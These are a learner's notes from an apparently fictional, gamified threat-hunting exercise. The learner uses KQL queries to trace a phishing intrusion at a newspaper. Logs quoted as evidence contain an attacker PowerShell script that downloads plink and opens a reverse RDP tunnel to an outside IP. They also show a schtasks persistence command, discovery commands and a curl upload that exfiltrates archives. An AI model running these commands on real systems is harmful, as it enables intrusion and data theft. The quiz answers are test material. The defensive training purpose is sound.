### Start Hunting Valdorian Times

Friday, July 18, 2025 2:50 PM

- I am the incident responder to help you investigate.
  - o Can you tell me what happen?
  - Do you have any suggestions as to who I should talk with to learn more about what happened?
    - Clark Kent > Newspaper Printer
      - ☐ Last person to view articles before they go to publication.



#### Clark Kent:

- "I simply print the article that is emailed to him, as he always does."
- He thinks the Editorial Intern was the one who sent him the final draft of the article.










### Spoke with Ronnie McLovin:


- · Possible Insider Threat
  - o She says, she was in charge of the OpEd piece about the mayoral candidates, and she was

supposed to send the final draft to Clark Kent for printing the night before publication.


- o She says she overslept and never sent the article.
- Clark Kent says, he is certain that the final draft came in an email from Ronnie McLovin
  - o received on 01/31/2024







```
news clark_kent@valdoriantimes.ne... URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's paper))
```



```
55 Email
56 | where timestamp == "1/31/2024, 11:11:12 AM"
57
```



"verdict": CLEAN,
"link": https://sharepoint.valdoriantimes.news/files/rmclovin/2024/OpEdFinal\_to\_print.docx

Going back to Ronnie, it looks like she did send the email. Although she is adamant that she did not send it. And she thinks someone else used her account to send it. She doesn't recall any unusual emails or any other weird activity on her computer.




Dropped by the Valdorian Times office to meet with some staff.

Sonia Gose



```
"email_addr": sonia_gose@valdoriantimes.news,
"company_domain": valdoriantimes.news,
"username": sogose,
"role": Senior Editor,
"hostname": ULOM-MACHINE
```

```
64 Email
65 | where sender == "newspaper_jobs@gmail.com"
66 | where recipient has "Sonia"
67
```



```
64 Email
65 | where sender == "newspaper_jobs@gmail.com"
66 | where recipient has "Sonia"
67
```

```
JPath: ☐ /reply_to ☐ Inline ∨ ¬ Compact ∨
    "timestamp": 2024-01-05T09:42:05.000Z,
 1
    "sender": newspaper_jobs@gmail.com,
 2
    "reply_to": newspaper_jobs@gmail.com,
 3
 4
    "recipient": sonia_gose@valdoriantimes.news,
     "subject": [EXTERNAL] FW: Invitation to Apply: Lead Political Correspondent,
 5
     "verdict": CLEAN,
 6
 7
     "link": https://promotionrecruit.com/published/Valdorian_Times_Editorial_Offer_Letter.docx
 8
```

```
64 Email
65 | where sender == "newspaper_jobs@gmail.com"
66 | where recipient has "Sonia"
```

```
"timestamp": 2024-01-05T09:42:05.000Z,
"sender": newspaper_jobs@gmail.com,
"reply_to": newspaper_jobs@gmail.com,
"recipient": sonia_gose@valdoriantimes.news,
"subject": [EXTERNAL] FW: Invitation to Apply: Lead Political Correspondent,
"verdict": CLEAN,
"link": https://promotionrecruit.com/published/Valdorian_Times_Editorial_Offer_Letter.docx
```

```
What URL was included in the email?

✓ https://promotionrecruit.com/published


Solved by (5.91) players || ₩ Need help?
```

```
71 Employees
72 | where name == "Sonia Gose"
```


```
"hire_date": 2018-11-17T11:45:25.000Z,
"name": Sonia Gose,
"user_agent": Mozilla/5.0 (Windows NT 5.1) Ap
"ip_addr": 10.10.0.3,
"email_addr": sonia_gose@valdoriantimes.news,
"company_domain": valdoriantimes.news,
"username": sogose,
"role": Senior Editor,
```

```
OutboundNetworkEvents


| where src_ip == "10.10.0.3"
```







Line 5: "url": Valdorian\_Times\_Editorial\_Offer\_Letter.docx







If she clicked on the link, we should assume that file might have been downloaded. Let's see if we can find the file on her machine.


What is Sonia Gose's hostname?


ULOM-MACHINE


```
72 FileCreationEvents
73 | where hostname has "ULOM-MACHINE"
74
```





















## You reached level 9!

You're temporary, but your defense is legendary! Keep growing! Your new level title is **Okayish Temporary Defender**.




```
# green is a hackr color
$host.UI.RawUI.ForegroundColor = "Green"
12
13
    # Define Plink URL and Destination Path
14 $plinkUrl = "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe"
$destinationPath = "C:\ProgramData\Temp\plink.exe"
16
17 # let em know were here
18 Write-Host "lol ur bout 2 get pwnd..." -NoNewline
    Start-Sleep -Seconds 2
Write-Host " Done."
19
21
22  # download plink and dont even be stealthy about it lol
23 Invoke-WebRequest -Uri $plinkUrl -OutFile $destinationPath
24
25
26
    # make fun of the victim
    Write-Host "loser haha :P" -NoNewline
27
    Start-Sleep -Seconds 2
28 Write-Host " Ready."
29
    # now run plink and get that juicy hands-on-keyboard babyyyyyyy
31 & $destinationPath -R 3389:localhost:3389 -ssh -l $had@w -pw thruthW!llS3tUfree 205.129.146.36
```

The file hacktivist\_manifesto.ps1 is a **PowerShell script file**—the .ps1 extension is specifically associated with Windows PowerShell scripts.











We might be able to find more information about the PowerShell script in **ProcessEvents** data.


Look for process events related to the PowerShell script. Use the name of the .ps1 file (hacktivist\_manifesto.ps1) to find related ProcessEvents.

How many Process Events are there related to this PowerShell script on Sonia's machine?

```
75 ProcessEvents
76 | where hostname has "ULOM-MACHINE"
77 | where process_commandline has ".ps1"
78 | distinct process_name
79


If Table 1 \( \square \)

| process_name \( \nabla : \)
| hacktivist_manifesto.ps1
| > schtasks.exe
| > powershell.exe
```



```
85 ProcessEvents
86 | where username has "Sogose"
87 | where process_commandline has_any ("schtasks.exe", "PowerShell")
```

schtasks /create /sc hourly /mo 5 /tn "Hacktivist Manifesto" /tr
"powershell.exe -ExecutionPolicy Bypass -File C:\ProgramData
\hacktivist\_manifesto.ps1"





Check ProcessEvents for evidence of plink.exe being executed on Sonia's machine.

What IP address is used when plink is executed?


136.130.190.181


Solved by 4712 players | Solved be Need help?

```
103 ProcessEvents
104 | where hostname has "ULOM-MACHINE"
105 | where username has "Sogose"
106 | distinct timestamp, parent_process_name, process_commandline, process_name;
107
```

```
"timestamp": 2024-01-06T02:39:35.000Z,
"parent_process_name": cmd.exe,
"process_commandline": plink.exe -R 3389:localhost:3389 -ssh -l $had0w -pw thruthW!ll53tUfree
"process_name": cmd.exe
```

## 136.130.190.181,










Attackers use plink to establish a tunnel to a compromised machine. Now that the attackers have established a tunnel to Sonia's machine, they can manually run commands to do specific things on the device. This is called hands-on-keyboard activity.

What six-letter command did the attackers run to figure out which user they are logged on as on the computer?

Whoami

Salvad by Range players II & Nood bala?

```
"timestamp": 2024-01-06T07:30:44.000Z,
"parent_process_name": cmd.exe,
"process_commandline": whoami,
"process_name": cmd.exe
```



## You reached level 10!

Associate no more! You've leveled up to greater heights of security! Your new level title is **Associate Security**Operations Analyst.

Nice! whoami is a called a discovery command.

Attackers use commands like these to learn more about the computers they compromise.

How many discovery commands did the attackers run on this machine?

| Solved by | Solved

Γ	>	1/6/2024, 7:30:44 AM	cmd.exe	whoami	cmd.exe
ı	>	1/6/2024, 7:50:51 AM	cmd.exe	ipconfig	cmd.exe
ı	>	∑6/2024, 8:08:17 AM	cmd.exe	arp -a	cmd.exe
Ι	>	1/6/2024, 9:06:30 AM	cmd.exe	tasklist /svc	cmd.exe
l	>	1/6/2024, 9:17:51 AM	cmd.exe	net view	cmd.exe

We've hit a dead end! You triaged the rest of the logs for this machine and it looks like nothing else malicious happened here.

Maybe the attackers weren't interested in Sonia...

Do you think we can safely stop our investigation here? (yes/no)

No

Solved by 1510 players | Need help?

We can apply what we've learned by investigating the activity affecting Sonia to find other victims of this incident.

I hope you took good notes. Another suspicious email address

valdorias\_best\_recruiter@gmail.com was seen sending emails to intern Ronnie and a few others.


How many total emails were sent by this email sender to users at The Valdorian Times?

18

Solved by 18

Need help?





```
"timestamp": 2024-01-10T08:48:16.000Z,
zender : Valdorias_best_recruiter@gmail.com,
"reply_to": valdorias_best_recruiter@gmail.com,
"recipient": ronnie_mclovin@valdoriantimes.news,
"subject": [EXTERNAL] Breaking News: We're Hiring! Apply Now for Reporter Roles,
"verdict": CLEAN,
"link": https://promotionrecruit.org/share/Editorial_J0b_Openings_2024.docx
```



```
"timestamp": 2024-01-10T08:48:16.000Z,
"sender": valdorias_best_recruiter@gmail.com,
"reply_to": valdorias_best_recruiter@gmail.com,
"recipient": ronnie_mclovin@valdoriantimes.news,
"subject": [EXTERNAL] Breaking News: We're Hiring! Apply Now for Reporter Roles,
"verdict": CLEAN,
"link": https://promotionrecruit.org/share/Editorial_J0b_Openings_2024.docx
```

# 

```
"timestamp": 2024-01-10T08:48:16.000Z,
"sender": valdorias_best_recruiter@gmail.com,
"reply_to": valdorias_best_recruiter@gmail.com,
"recipient": ronnie_mclovin@valdoriantimes.news,
"subject": [EXTERNAL] Breaking News: We're Hiring! Apply Now for Reporter Roles,
"verdict": CLEAN,
"link": https://promotionrecruit.org/share/Editorial_J0b_Openings_2024.docx
```

Man I used Email | where sender has "valdorias\_best\_recruiter@gmail.com" It gave me the right database of Emails and Ronnies is third to the bottom, I clicked on it although the click on the link in the email is incorrect when I plug it in. It is the same method I used with Sonia. I maybe missing something or there is a glitch.

```
What was the name of the .docx file that was
downloaded to Ronnie's machine?
  Editorial_J0b_Openings_2024.docx
 Solved by 4302 players 8 Need help?
 116
       | where sender has "valdorias_best_recruiter@gmail.com"
 117
  118
       "reply_to": valdorias_best_recruiter@gmail.com,
       "recipient": ronnie_mclovin@valdoriantimes.news,
       "subject": [EXTERNAL] Breaking News: We're Hiring! Apply Now for Reporter Roles,
   5
       "verdict": CLEAN,
       "link": https://promotionrecruit.org/share, Editorial_J0b_Openings_2024.docx
 When was this docx file downloaded?
   2024-01-10T08:55:17Z
  119
      FileCreationEvents
120
      where hostname has "A37A-DESKTOP"
121
 1 "timestamp": 2024-01-10T08:55:17.000Z,
     "hostname": A37A-DESKTOP,
    "username": romclovin,
When was the .ps1 file dropped to Ronnie's
machine?
  Z 2024-01-10T08:55:51Z
 119
     FileCreationEvents
      | where hostname has "A37A-DESKTOP"
120
121
1/10/2024, 8:55:51 AM
                  A37A-DESKTOP
                                  romclovin

∠ Compact ∨

 JPath: / / timestamp | Inline >
      "timestamp": 2024-01-10T08:55:51.000Z,
      "hostname": A37A-DESKTOP,
     "username": romclovin,
      "sha256": 1c3ef0407d5714037504c52f7abfa86c
      "path": C:\ProgramData\hacktivist manifest
```

"filename": hacktivist manifesto.ps1,

"process\_name": explorer.exe

```
What IP address was used with plink on Ronnie's machine?

168.57.191.100

Solved by 134 players |  Need help?
```

```
128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | distinct timestamp, parent_process_name, process_commandline, process_name;
133
```

```
133 ProcessEvents
134 | where username has "romclovin"
135 | where process_commandline has_any ("schtasks", "PowerShell", "plink")
```


```
1  "timestamp": 2024-01-11T03:08:12.000Z,
2  "parent_process_name": cmd.exe,
3  "parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
4  "process_commandline": plink.exe -R 3389:localhost:3389 -ssh -l $had0w -pw thruthW!llS3tUfr
5  "process_name": cmd.exe,
6  "process_hash": 68c24146c391b8c62cd9309d2898c3ee7c86ee6a3171b35c76cab3dc4b68afe6,
7  "hostname": A37A-DESKTOP,
8  "username": romclovin
```

exe, a7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f, k.exe -R 3389:localhost:3389 -ssh -l \$had0w -pw thruthW!llS3tUfree 168.57.191.100 lb8c62cd9309d2898c3ee7c86ee6a3171b35c76cab3dc4b68afe6,



e6f000b0cc2b845ece47ca60673ec7f, -ssh <mark>-1 \$had0w</mark> -pw thruthW!llS3tUf










```
128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | distinct timestamp, parent_process_name, process_commandline, process_name;
132
```

Sort of had to look through the logs until I found some discovery commands.












### You reached level 11!

Trolling through logs like a pro! Your SIEM skills are topnotch! Your new level title is **SIEM Troll**.




```
143 OutboundNetworkEvents
144 | where url contains "fakestory.docx"
```


2. Filter by filename: Use a where statement to filter the url or filename column for "fakestory.docx". You might need to use the contains operator if the full filename isn't directly in the URL.

```
1  "timestamp": 2024-01-31T09:47:51.000Z,
2  "method": GET,
3  "src_ip": 10.10.0.19,
4  "user_agent": Mozilla/5 0 (Windows NT 6 1) AppleWebKit/537 36 (KHTML)
5  "url": https://hire-recruit.org/files/fakescandal/2024/fakestory.docx
```



```
112 Employees
113 | where name has "Ronnie"
114
```





```
"timestamp": 2024-01-31T09:47:51.000Z,
"hostname": A37A-DESKTOP,
"uconname": romclovin,
"sha256": 5f8a7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"path": C:\Users\romclovin\Downloads\fakestory.docx,
"filename": fakestory.docx,
"process_name": edge.exe
```



```
139 FileCreationEvents
140 | where hostname has "A37A-DESKTOP"
141 | where filename has "fakestory"
142 | 0
143 OuthoundNetworkEvents
```

```
1 "timestamp": 2024-01-31T09:47:51.000Z,
```

### What is the new path for the document?




```
ProcessEvents

| where username has "romclovin"
| where hostname has "A37A-DESKTOP"
| where process_commandline has_any ("fakestory")
```

```
"timestamp": 2024-01-31T10:26:20.000Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline" move C:\Users\romclovin\Downloads\fakestory.docx C:\Users\romclovi
"process_name": cmd.exe,
"process_hash": 24713a1129b719e9af97f7eeab6fb7f9e4aa94f162493a8b4e069df1f03a66da,
"hostname": A37A-DESKTOP,
```

 ${\tt C:\backslash Users\backslash romclovin\backslash Documents\backslash OpEdFinal\_to\_print.docx,}$ 



```
133 ProcessEvents
134 | where username has "romclovin"
135 | where hostname has "A37A-DESKTOP"
136 | where process_commandline has_any ("fakestory")
137
```


```
1 "timestamp": 2024-01-31T10:26:20.000Z,
2 "parent_process_name": cmd.exe,
3 "parent_process_hash": 614ca7b627533e22aa3e5c
```




```
146 Email
147 | where sender contains "Ronnie"
148 | where recipient contains "Clark"
149 | distinct timestamp, link, subject;
```

```
1 "timestamp": 2024-01-31T11:11:12.000Z,
2 "link": https://sharepoint.valdoriantimes.news/files/rmclovin/2024/OpEdFinal_to_print.docx,
3 "subject": URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's
```






Look above for the timestamps for moved/renamed and the timestamp for when the new email was sent to Clark from Ronnie.








```
151 ProcessEvents
152 | where timestamp between (datetime(2024-01-21 07:00:00) .. datetime(2024-01-21 12:00:00))
153 | where hostname == "A37A-DESKTOP"
154 | order by timestamp asc
155
```






```
128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | where process_commandline has ".7z"
132
```

```
1  "timestamp": 2024-01-31T11:49:47.000Z,
2  "parent_process_name": cmd.exe,
3  "parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
4  "process_commandline": 7z.exe a -t7z C:\Users\romclovin\Document: \DankMemes.7z C:\Users\rom process_name": cmd.exe,
6  "process_hash": 772b8658b4cc968a57b1cb3160bdac5bc9119faa166cfb954d5f7ce3f961c895,
7  "hostname": A37A_DESKTOP
```



## You reached level 12!

You're now the ogre of SIEM! Keep analyzing those logs with might! Your new level title is **SIEM Ogre**.




```
128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | where process_commandline has ".7z"
```

```
What is the name of the .7z file that contains files stolen from Ronnie's Desktop folder?


MyStolenDataFromDesktop.7z

Solved by 8875 players |  Need help?

128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | where process_commandline has ".7z"
```







After compressing all the stolen data into .7z files, the attackers exfiltrated the data by uploading it to a custom portal on their website.

What is the full command the attackers ran to do this?

Curl -F "file=@C:\Users\romclovin\Docu

Solved by 3832 players Meed help?

```
128 ProcessEvents
129 | where hostname has "A37A-DESKTOP"
130 | where username has "romclovin"
131 | where process_commandline has ".7z"
```

Don't forget curl -f in front of the "file=@C:\...






Query ProcessEvents for all devices at Valdorian Times.

Was data stolen from any other devices and uploaded to hirejob.com? (yes/no)

no

Solved by 3910 players | See Need help?





```
3    "parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece4
4    "process_commandline": curl -F "file=@C:\Users\romclovin\Documents\*.7z" ht
5    "process_name": cmd.exe,
6    "process_hash": %h40caf11c8332d422db83717360da2bad21fc78d6dd1dd9e1f5a6188ft
7    "hostname": A37A-DESKTOP,
8    "username": romclovin
```

Only one record "Ronnies"


Congratulations! You've completed your investigation.


To share your findings with The Valdorian Times leadership, you prepare this incident report summarizing what you discovered.

Type "wooo" to receive credit

wooo

Solved by 3912 players | Need help?





You uncovered the truth behind the fake article — and built real investigation skills in the process.

You learned to ask better questions, filter big data down to key moments, and spot signs of an attack.

Some concepts may have flown by - that's okay. You'll get more practice soon.

Don't stop now. Bigger breaches are just ahead.

10:20 AM

You earned a new badge! 🍒



#### Valdorian Times

This analyst investigated an email phishing attack in Valdoria that uncovered a politically motivated influence campaign. Using Kusto Query Language (KQL), they analyzed employee roles, email communications, and computer process events, revealing evidence of data exfiltration and manipulation. This exercise reinforced skill in querying data and understanding data integrity within a cybersecurity context.

View Your Badge

Use: OutboundNetworkEvents

| where src\_ip == "IP address" and url == "URL"

This was used in the question about when Ronnie clicked on the link from the email sent to her that I could not get earlier.